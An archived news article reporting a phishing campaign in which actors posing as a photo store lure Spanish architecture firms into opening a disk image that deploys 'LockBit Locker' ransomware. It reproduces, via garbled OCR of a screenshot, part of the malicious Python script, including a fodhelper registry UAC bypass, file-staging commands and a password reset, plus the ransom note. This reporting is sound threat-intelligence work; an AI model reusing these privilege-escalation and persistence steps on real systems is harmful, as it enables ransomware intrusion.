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Spain warns of LockBit Locker ransomware phishing attacks

By Bill Toulas

Published: 2023-08-28 - Archived: 2026-04-05 15:27:31 UTC

The National Police of Spain is warning of an ongoing 'LockBit Locker' ransomware campaign targeting architecture

companies in the country through phishing emails.

"A wave of sending emails to architecture companies has been detected, although it is not ruled out that they extend their

action to other sectors," reads the machine-translated police announcement.

"The detected campaign has a very high level of sophistication since the victims do not suspect anything until they suffer the

encryption of the terminals.”
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Spain's cyber police have detected that many emails are sent from the non-existent domain "fotoprix.eu" and impersonate a

photographic firm.

The threat actors pretend to be a newly launched photography store requesting a facility renovation/development plan and a

cost estimate for the work from the architecture firm.

After exchanging several emails to build trust, the LockBit operators propose to specify a meeting date to discuss the budget

and details of the building project and send an archive with documents on the exact specifications of the renovation.

While the Spanish polish does not provide much technical detail, in a sample seen by BleepingComputer, this archive is a
disk image (.img) file that, when opened in newer versions of Windows, will automatically mount the file as a drive letter

and display its contents.

These archives contain a folder named 'fotoprix' that includes numerous Python files, batch files, and executables. The

archive also contains a Windows shortcut named 'Caracteristicas,’ that, when launched, will execute a malicious Python

script.
= | DVD Drive (E) Manage Manage - | X
Home Share View Shortcut Tools Application Tools a
«— v 1 & ?» ThisPC > DVD Drive (E) v (@] O Search DVD Drive (E)
Eay
# Quick access Name Date modified Type Size
B Desktop fotoprix 8/21/2023 458 AM File folder
pj Caracteristicas 8/21/2023 458 AM Shortcut 1KB

2items  1item selected 990 bytes =

IMG file contents

Source: BleepingComputer

BleepingComputer's analysis shows that the executed Python script will check if the user is an admin of the device, and if

so, make modifications to the system for persistence and then executes the 'LockBit Locker' ransomware to encrypt files.

"] colocad.py - Notepad " o X

File Edit Format View Help
xrymkgbmihhcmg = r'C:\Windows\System32\fodhelper.exe' A
jdtbolmwktkvzh("", ".ogm")
subprocess.run(f'reg.exe ADD "HKCU\\Software\\Classes\\.ogqm\\Shell\\Open\\command" /d "{wnivikvunzrlft}" /f > NUL 2>81", shell=True)
subprocess.call([xrymkgbmihhcmq], shell=True)

de

el

jdtbolmwktkvzh(gdbrdobrrhyfed, pazgorruxgeobl):

noggfqyxtfgxua = r"software\classes\ms-settings\curver”

try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, noqgfqyxtfgxua)
suafxtbhdtlnxj = winreg.OpenKey(winreg.HKEY_CURRENT_USER, noggfqyxtfgxua, @, winreg.KEY_WRITE)
winreg.setvalueEx(suafxtbhdtlnxj, gdbrdobrrhyfed, @, winreg.REG_SZ, pazgorruxgeobl)
winreg.CloseKey(suafxtbhdtlnxj)
return True

except WindowsError:
return False

def wdqmsrwwwvdhqi():
if zsuyzchutklyvl():

kwlwwrtpmnnvtq = 'safeboot’
kkkxbgnaddglsr = 'bcdedit’
cphmhaaddlpjgs = ‘minimal®

wuieugyihlifma = os.path.dirname(os.path.realpath(_ file ))

os.chdir(wuieugyihlifma)

xekmmmptptwvnk = getpass.getuser()

dhelasbbhapxfp = os.environ['userdomain’]

subprocess.run("xcopy /h /y debruzara.txt C:\\ProgramData\\debruzara.bat® > NUL 2>&1", shell=True)

subprocess.run("xcopy /h /y aguantadora.txt C:\\ProgramData\\aguantadora.vbs*® > NUL 25&1", shell=True)

subprocess.run("xcopy /h /y 7z.exe C:\\Windows\\Temp > NUL 2>&1", shell=True)

subprocess.run("xcopy /h /y ordenara C:\\Programbata > NUL 2>&1", shell=True)

subprocess.run(f'net user {xekmmmptptwvnk} 8pLHkD#g > NUL 2>&1', shell=True) v

Ln1,Col 1 100%  Windows (CRLF) UTF-8

Malicious Python script

Source: BleepingComputer

If the Windows user is not an admin on the device, it will use the Fodhelper UAC bypass to launch the ransomware

encryptor with admin privileges.
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The Spanish police underline the "very high level of sophistication” of these attacks, particularly noting the consistency of

the communications that convince victims they interact with individuals genuinely interested in discussing architectural

project details.

While the ransomware gang claims to be affiliated with the notorious LockBit ransomware operation, BleepingComputer

believes this campaign is conducted by different threat actors using the leaked LockBit 3.0 ransomware builder.

The regular LockBit operation negotiates through a Tor negotiation site, while this 'LockBit Locker' negotiates via email at

'lockspain@onionmail.org' or via the Tox messaging platform.

71| 4GaqHTWL7 README txt - Notepad o O X
q P

File Edit Format View Help
---- [ Hola, ] --------=---- > ~

*AFXBY LOCKBIT LOCKER****

éQué ha pasado?

Tu ordenador esta encriptado, y las copias de seguridad han sido borradas. Utilizamos algoritmos de
encriptacién militares, por lo que no puedes desencriptar tus archivos.

Pero puedes restaurar todo comprandonos un programa especial, un desencriptador universal. Este programa
restaurara todos tus archivos.

Sigue nuestras instrucciones a continuacidn y recuperaras todos tus datos.

JQué garantias?

Valoramos nuestra reputacion. Si no hiciésemos nuestro trabajo y obligaciones, nadie nos pagaria. Esto no
es de nuestro interés.

Todo nuestro software de desencriptacion esta perfectamente testeado y desencriptara tus archivos. También
te daremos soporte técnico en caso de problemas.

Garantizamos desencriptar un archivo de forma gratuita. Ve al chat y contdctanos.

jComo contactarnos?

Mediante CHAT o EMAIL:

1) Instalar tox chat: https://tox.chat/download.html
2) Agregar ID de tox:

3) Manera alternativa: lockspain@onionmail.org

Ln 1, Col 1 100%  Windows (CRLF) UTF-8

LockBit Locker ransom note

Source: BleepingComputer

Furthermore, automated analysis by Intezer's scanning engine identifies the ransomware executable as being BlackMatter, a

ransomware operation that shut down in 2021 and later rebranded as AL.PHV/BlackCat.

However, this is expected, as the leaked LockBit 3.0 builder, also known as LockBit Black, is also identified by Intezer as

BlackMatter for its use of BlackMatter source code.

Given the reported sophistication of the phishing emails and social engineering seen by BleepingComputer, it is likely that

the threat actors behind this campaign are using different lures for companies in other sectors.

Phishing actors have extensively used the "call to bid" bait in campaigns impersonating private firms or government

agencies and using well-crafted documents to convince of the legitimacy of their messages.

Notorious ransomware gangs adopting similar practices for initial compromise is a worrying development, as posing as

legitimate customers could help them overcome obstacles like their targets' anti-phishing training.
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P\CUS

The Validation Gap:
What Automated
Pentesting Alone

Cannot See

A Prac

Automated Pentesting Covers Only 1 of 6 Surfaces.

Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the
other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic

questions for any tool evaluation.
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